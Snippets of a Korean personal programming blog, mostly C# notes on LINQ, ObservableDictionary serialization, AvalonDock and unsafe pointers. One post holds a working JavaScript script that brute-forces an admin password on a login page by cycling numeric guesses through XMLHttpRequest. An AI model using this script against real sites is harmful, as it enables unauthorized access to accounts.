C# LINQ 예제 (2)

Tags 라는 클래스는  TagName이라는 string type의 맴버를 가지고 있다고 하자. var rs = from tag in Tags where tag.TagName == value select tag.TagName; 이렇게 하면 value가 TagName과 같다면 결과는 1개 이상의 객체를 return 할것이다. 만약 결과가 1개라면 rs.Count<string>() 의 결과는 당연 1이다. 그런데, rs.Count<string>()을 실행하기전 Tags의 내용을 수정해서 Tags의 내용중 TagName이 같아진다면 rs의 결과는 달라진다. LINQ 구문을 실행한 후 라도 말이다. 의도한 것인지 알수는 없지만 참고 되었으면 한다.

쏘나타 백라이트 diy

YF 쏘나타 데루등 검색 하시는 분이 많아서 링크 걸어 둡니다. http://blog.daum.net/_blog/BlogTypeView.do?blogid=0OCv9&articleno=13&_bloghome_menu=recenttext#ajax_history_home 원본 게시자 분께 연락든 못 드렸습니다. (daum id가 없어서 ... 걍... ) 문제가 된다면 바로 삭제 하겠습니다.

ObservableDictionary + XmlSerializer

처음엔 list와 Dictionary를 바인딩 할려고 했는데, update가 안되었다. 그래서 찾아보니 http://observabledictionary.codeplex.com/ 이런게 있었다. 역시.. 세상엔 고수가 많다. 그런데, 어제부터 object를 xml serialize 시키는데 계속 오류가 났다. 처음엔 ObservableCollection<MyObject> 때문인줄 알았는데, ObservableDictionary가 문제였다. 다시 구글링... Dictionary 가 xml serialize 되지 않았다. http://weblogs.asp.net/pwelter34/archive/2006/05/03/444961.aspx 여기선 Dictionary에 IXmlSerializable을 구현했는데, ObservableDictionary 와 IXmlSerializable 을 상속받아 SerializableObservableDictionary 라는 무식한 클래스를 만들어 해결했다. 따로 코드는 필요없을듯하고.. 위 링크 참조하면 된다.

web brute force attack

아.. 자바스크립트로만 해결할려고 삽질 한참했다. 전역으로 선언한 xhr 객체가 xhr 이벤트 핸들때는 호출이 안되었다. function request(number){ if(number>2999) return; xhr = new XMLHttpRequest(); xhr = new ActiveXObject("Microsoft.XMLHTTP"); xhr.onreadystateChange = rply; xhr.open('get','index.php?cid=admin&cpw='+number+'&n='+Math.random());xhr.send(null); } i = 2000; xhr = new XMLHttpRequest(); xhr = new ActiveXObject("Microsoft.XMLHTTP"); function rply(){if(xhr.readyState==4) if( xhr.responseText.indexOf('Wrong') > 0) request(i++); else alert(i);} xhr.onreadystateChange = rply; xhr.open('get','index.php?cid=admin&cpw='+i);xhr.send(null);

Avalondock + UnityContainer (1)

이미지
처음하는 C#이라 정리하면서 개념 좀 확실해 주입할려고 포스팅한다. 요구사항은 창들이 VisualStudio 처럼 docking 가능해야한다. 각 모듈은 가능한 독립적으로 개발 가능해야 한다.(협업) 나머지 요구사항은 지금 정리하고자 하는 내용과는 관계없어 일단 Dock 가능한 라이브러리와 패턴앤프랙틱스의 Composite Application Library 부분만 정리할려고 한다. Avalondock    코드플렉스( http:// avalondock .codeplex.com ) 에서 다운받을수 있으며 샘플이 제공된다. Visual Studio 와 같은 Dock 기능을 제공한다. Composite Application Library   CAB(Composite Application Block) 의 WPF 버전( http://msdn.microsoft.com/en-us/library/ff648611.aspx )으로 MVVM 패턴을 손쉽게 구현할수 있다. 요즘 많이 사용하는 프레임워크의 기본적인 IoC(Inversion of Control) , Container 등 내가 필요한 것만 있고, 적당한 예제가 있어서 선택했다. 그리고, EventAggregator 패턴이 구현되어 있어 모듈간 종속없이 통신할수 있어 결합도를 낮출수 있다. 1. 준비 VisualStudio(VS)에서 새프로젝트 만들기를 선택하고 템플릿에서 "WPF 응용프로그램"을 선택한다. 프로젝트가 생성되면 App.xaml 에서 StartupUri 를 제거한다. Window1.xaml 을 제거하고 Shell.xaml을 추가한다. 다운받은 Avalondock Manger 와 CAL을 참조추가 해준다.( 프로젝트에 LIB를 만들어 DLL파일을 넣고 참조하였음) Bootstrapper.cs 파일을 추가하고 UnityBootstrapper 를 상속받아 CreateShell을 구현한다. public class Bootstrappe...

C#에서 포인터 사용

훈스닷넷에 답글달고 정리 차원에서 남겨둔다. C#에서는 C에서 처럼 포인터를 사용할수가 있다. 빌드옵션에서 안전하지 않은 코드 check 해주고 다음과 같은 방법으로 한다.         static void Main(string[] args)         {             foo();         }         unsafe static void foo()         {             Int64 aa = 123456789;             Int64 bb = 123222;             IntPtr pt = new IntPtr(&aa);             IntPtr pt2 = new IntPtr(&bb);             Console.WriteLine(pt.ToString("x"));             Console.WriteLine(pt2.ToString("x"));             Int32 a = 1234231;             Int32 b = 154324;             IntPtr pt3 = new IntPtr(...

C# LINQ 예제

문자열에서 중복되는 값을 찾고 싶을때 LINQ 를 이용해서 아래와 같이 하면 된다. ( LINQ 오늘 처음 써봐서 예제가 허접합니다)             string t = "a,b,c,d,e,e,e,f,g";             var r =                 from n in t                 group n by n into g                 where g.Count() > 1                 select g;             foreach (var a in r)             {                 Console.WriteLine(a.Key );             } , 도 문자열로 인식되서 split 해줬다.             string t = "a,b,c,d,e,e,e,f,g";             var r =                 from n in t.Split(',')       ...